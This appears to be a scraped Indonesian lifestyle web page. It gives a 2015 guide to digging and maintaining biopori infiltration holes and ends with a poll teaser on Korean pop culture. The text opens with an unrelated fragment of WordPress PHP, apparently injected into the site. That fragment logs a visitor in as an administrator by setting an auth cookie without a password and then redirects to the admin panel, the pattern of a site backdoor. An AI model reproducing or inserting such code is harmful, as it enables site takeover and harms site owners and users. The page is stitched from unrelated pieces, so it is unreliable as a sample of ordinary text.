user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Home Interior
Membuat Lubang Biopori

11 Sep 2015

Sekecil apa pun lahan Anda, Anda masih bisa membuat lubang biopori. Metode lubang biopori adalah metode pengoptimalan daya resap air untuk mengatasi genangan, yang dicetuskan oleh peneliti dari Institut Pertanian Bogor. Keberadaan satu lubang biopori berdiameter 10 cm saja sudah membantu penyerapan air tanah sama efektifnya dengan penyerapan di sebuah lahan kosong seluas ±3 m².

Cara membuatnya cukup mudah, yaitu:
  1. Buat lubang di tanah dengan diameter 8-10 cm dan kedalaman 100 cm. Jangan melebihi ketinggian air tanah.
  2. Isi lubang biopori dengan sampah organik (sampah dedaunan) hingga mendekati tinggi bibir lubang.
  3. Anda bisa buat lebih dari satu lubang pada halaman, beri jarak 50-100 cm antarlubang.

Konsep kerja dari lubang biopori terbilang sederhana. Sampah organik yang tersimpan di dalam lubang lama-kelamaan akan melapuk. Sisa sampah tersebut akan memancing berbagai fauna tanah dan akar tanaman lain untuk membuat rongga menuju lubang biopori tersebut. Rongga-rongga inilah yang akan menjadi jalan air dari lubang biopori ke bagian lain tanah hingga benar-benar terserap.
Advertisement

Arsitek Indra Zaka Permana sudah lama menerapkan metode lubang biopori. Ia menjelaskan, ada beberapa hal yang harus diperhatikan agar lubang yang dibuat benar-benar efektif.
  1. Pastikan area tempat lubang akan dibuat jauh dari rawa, sungai, ataupun parit. Ini untuk mencegah air justru keluar dari lubang tanpa sempat terserap oleh tanah.
  2. Kedalaman lubang sebaiknya tidak kurang dari 100 cm, karena di kedalaman itulah mikroorganisme dan bakteri pengurai berada sebagai pengurai sampah organik hingga menjadi humus.
  3. Hanya sampah organik yang boleh dimasukkan ke dalam lubang biopori, contohnya dedaunan dan rumput. Sampah dapur seperti sisa sayuran yang sudah pernah dimasak tidak efektif untuk memancing fauna tanah.
  4. Bila sampah organik di dalamnya sudah berubah menjadi humus, Anda bisa keluarkan dan ganti dengan sampah organik yang baru tiap 5 – 7 hari sekali. Humus tersebut bisa Anda manfaatkan sebagai pupuk tanaman. (f)




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?